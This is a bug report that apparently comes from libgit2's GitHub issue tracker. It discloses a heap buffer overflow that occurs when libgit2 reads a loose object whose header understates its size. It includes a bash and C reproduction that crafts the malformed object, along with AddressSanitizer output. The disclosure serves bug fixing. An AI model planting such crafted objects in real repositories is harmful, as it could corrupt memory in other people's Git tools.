Skip to content

Out-of-bounds write when reading small objects that claim to be smaller than they are #7177

@howtonotwin

Description

@howtonotwin

libgit2 allocates a minimum of 64 bytes when decompressing a loose object to read its header and decide how much heap to allocate for the object contents. Any fragment of the body that was caught in those 64 bytes gets copied to the allocated buffer. libgit2 does not limit the amount copied to the size of the allocated buffer. So, if I craft a bogus object where the header declares a small size but the actual decompressed body is longer, libgit2 will write up to a few dozen bytes of the body out-of-bounds.

I ran into this accidentally while testing my own application with ASan enabled.

# bash
$ git init --bare repo
$ bogus="blob 12\0this is a blob with a too-small length value\n"
# hash of valid object prefix "blob 12\0this is a bl"
# the buffer overrun happens no matter what hash we give here,
# but, with this value, libgit2 will not notice the corrupt object by itself
$ hash=bf3d798a12d2bd09a73b1bbdec6fde6f9836f9ac
$ mkdir -p repo/objects/${hash::2}
# deflate -z from rsbkb does zlib compression. presumably any zlib compressor would work
$ printf "$bogus" | deflate -z >repo/objects/${hash::2}/${hash:2}
$ cat >main.c <<"EOF"
#include <stdio.h>
#include <git2.h>

int main() {
  fprintf(
    stderr
  , "git_libgit2_init: %d\n"
  , git_libgit2_init());

  struct git_repository *repo;
  fprintf(
    stderr
  , "git_repository_open: %d\n"
  , git_repository_open(&repo, "./repo"));

  struct git_object *object;
  fprintf(
    stderr
  , "git_object_lookup: %d\n"
  , git_object_lookup(
      &object, repo
    , &(const struct git_oid) {{
        0xBF, 0x3D, 0x79, 0x8A, 0x12
      , 0xD2, 0xBD, 0x09, 0xA7, 0x3B
      , 0x1B, 0xBD, 0xEC, 0x6F, 0xDE
      , 0x6F, 0x98, 0x36, 0xF9, 0xAC}}
    , GIT_OBJECT_ANY));
}
EOF
$ gcc main.c -lgit2                    -o main; ./main
git_libgit2_init: 1
git_repository_open: 0
git_object_lookup: 0
# object is corrupt, but libgit2 returned success

$ gcc main.c -lgit2 -fsanitize=address -o main; ./main
git_libgit2_init: 1
git_repository_open: 0
# ASan dump here

Reproduces with

  • GCC 15.2.0 + libgit2 1.9.2 (from Nixpkgs nixpkgs-unstable)
  • GCC 15.2.0 + libgit2 main -> 3ac4c0a
ASan output

Using libgit2 3ac4c0a, built with CMAKE_RELEASE_TYPE=RelWithDebInfo, and adding -g to the gcc commandline above.

==1013381==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7bd59ba5f1bd at pc 0x7fb59d71f382 bp 0x7ffed816ce60 sp 0x7ffed816c620
WRITE of size 45 at 0x7bd59ba5f1bd thread T0
    #0 0x7fb59d71f381 in memcpy (/nix/store/xc0ga87wdclrx54qjaryahkkmkmqi9qz-gcc-15.2.0-lib/lib/libasan.so.8+0x11f381)
    #1 0x7fb59ddc7516 in memcpy /nix/store/dj43clc5ff7jjnfmhbaj6q4q0h8kpfpm-glibc-2.40-66-dev/include/bits/string_fortified.h:29
    #2 0x7fb59ddc7516 in read_loose_standard /build/source/src/libgit2/odb_loose.c:319
    #3 0x7fb59ddc7516 in read_loose /build/source/src/libgit2/odb_loose.c:366
    #4 0x7fb59ddc7ae9 in loose_backend__read /build/source/src/libgit2/odb_loose.c:623
    #5 0x7fb59ddc2036 in odb_read_1 /build/source/src/libgit2/odb.c:1343
    #6 0x7fb59ddc51bf in git_odb_read /build/source/src/libgit2/odb.c:1399
    #7 0x7fb59ddc076f in git_object_lookup_prefix /build/source/src/libgit2/object.c:244
    #8 0x55bbf7c7f574 in main (/tmp/tmp.j6a0tbMriq/main+0x1574)
    #9 0x7fb59d22a4c4 in __libc_start_call_main (/nix/store/j193mfi0f921y0kfs8vjc1znnr45ispv-glibc-2.40-66/lib/libc.so.6+0x2a4c4) (BuildId: 0fc9ba30a7b9cd2461e00da735b7d368d66c4e3d)
    #10 0x7fb59d22a577 in __libc_start_main_alias_1 (/nix/store/j193mfi0f921y0kfs8vjc1znnr45ispv-glibc-2.40-66/lib/libc.so.6+0x2a577) (BuildId: 0fc9ba30a7b9cd2461e00da735b7d368d66c4e3d)
    #11 0x55bbf7c7f704 in _start (/tmp/tmp.j6a0tbMriq/main+0x1704)

0x7bd59ba5f1bd is located 0 bytes after 13-byte region [0x7bd59ba5f1b0,0x7bd59ba5f1bd)
allocated by thread T0 here:
    #0 0x7fb59d721c2b in malloc (/nix/store/xc0ga87wdclrx54qjaryahkkmkmqi9qz-gcc-15.2.0-lib/lib/libasan.so.8+0x121c2b)
    #1 0x7fb59dd413a8 in git__malloc /build/source/src/util/alloc.h:19
    #2 0x7fb59dd413a8 in git__calloc /build/source/src/util/alloc.c:31
    #3 0x7fb59ddc7404 in read_loose_standard /build/source/src/libgit2/odb_loose.c:310
    #4 0x7fb59ddc7404 in read_loose /build/source/src/libgit2/odb_loose.c:366
    #5 0x7fb59ddc7ae9 in loose_backend__read /build/source/src/libgit2/odb_loose.c:623
    #6 0x7fb59ddc2036 in odb_read_1 /build/source/src/libgit2/odb.c:1343
    #7 0x7fb59ddc51bf in git_odb_read /build/source/src/libgit2/odb.c:1399
    #8 0x7fb59ddc076f in git_object_lookup_prefix /build/source/src/libgit2/object.c:244
    #9 0x55bbf7c7f574 in main (/tmp/tmp.j6a0tbMriq/main+0x1574)
    #10 0x7fb59d22a4c4 in __libc_start_call_main (/nix/store/j193mfi0f921y0kfs8vjc1znnr45ispv-glibc-2.40-66/lib/libc.so.6+0x2a4c4) (BuildId: 0fc9ba30a7b9cd2461e00da735b7d368d66c4e3d)
    #11 0x7fb59d22a577 in __libc_start_main_alias_1 (/nix/store/j193mfi0f921y0kfs8vjc1znnr45ispv-glibc-2.40-66/lib/libc.so.6+0x2a577) (BuildId: 0fc9ba30a7b9cd2461e00da735b7d368d66c4e3d)
    #12 0x55bbf7c7f704 in _start (/tmp/tmp.j6a0tbMriq/main+0x1704)

SUMMARY: AddressSanitizer: heap-buffer-overflow /nix/store/dj43clc5ff7jjnfmhbaj6q4q0h8kpfpm-glibc-2.40-66-dev/include/bits/string_fortified.h:29 in memcpy
Shadow bytes around the buggy address:
  0x7bd59ba5ef00: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
  0x7bd59ba5ef80: fa fa fd fd fa fa fd fa fa fa fd fa fa fa fd fd
  0x7bd59ba5f000: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fa
  0x7bd59ba5f080: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
  0x7bd59ba5f100: fa fa fd fd fa fa fd fa fa fa fd fd fa fa fd fd
=>0x7bd59ba5f180: fa fa fd fd fa fa 00[05]fa fa fa fa fa fa fa fa
  0x7bd59ba5f200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bd59ba5f280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bd59ba5f300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bd59ba5f380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x7bd59ba5f400: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1013381==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions